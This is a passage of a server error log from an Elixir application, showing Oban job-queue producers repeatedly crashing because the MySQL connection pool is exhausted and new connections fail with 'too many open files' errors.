State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:36:10.239572Z], limit: 3, uuid: "566c6505-969b-4ce5-bd21-6eb9c7b8ca18", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:10.239580Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.235372>, refresh_timer: #Reference<0.2525715032.1099169794.235371>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 818ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:36:10.239916Z], limit: 10, uuid: "1bd9d62d-47bf-43d9-924b-291aa58e88d0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:10.239921Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.235394>, refresh_timer: #Reference<0.2525715032.1121189889.80885>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:24.008000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1897.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sat Sep  5 22:36:26.538000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:29.447000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:30.253000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:30.306000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:31.452000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:31.667000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:36:22.245167Z], limit: 10, uuid: "dbd9f873-0803-4eb6-8c84-9f498a76e678", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:22.245172Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203287>, refresh_timer: #Reference<0.2525715032.1077411843.203279>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:34.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 822ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:36:22.239429Z], limit: 5, uuid: "a7cd7e5c-0315-4d85-bcaa-0dbe67f80b15", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:22.239436Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203288>, refresh_timer: #Reference<0.2525715032.1068236804.229482>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:34.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 885ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:36:22.240120Z], limit: 50, uuid: "b5f2596e-0894-400d-948e-451d3744fe47", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:22.240125Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.229507>, refresh_timer: #Reference<0.2525715032.1068236804.229483>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:34.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:36:22.240365Z], limit: 5, uuid: "3200f1f3-6688-4d30-9c33-4b8c3796ca2e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:22.240370Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.229506>, refresh_timer: #Reference<0.2525715032.1068236804.229495>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:34.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:36:22.241986Z], limit: 20, uuid: "540745ec-ff51-4918-bf31-d132f08d0aa6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:22.241991Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.81038>, refresh_timer: #Reference<0.2525715032.1121189889.81035>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 831ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:36:22.241331Z], limit: 3, uuid: "8afde842-cc3b-4502-9398-fd3b6db2dd00", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:22.241336Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203289>, refresh_timer: #Reference<0.2525715032.1099169794.235543>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:34.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:39.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:42.495000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:43.344000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:44.717000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:36:34.244229Z], limit: 5, uuid: "c9715a1b-7817-4648-91f6-ea99a56ed13e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:36:34.244236Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.203540>, refresh_timer: 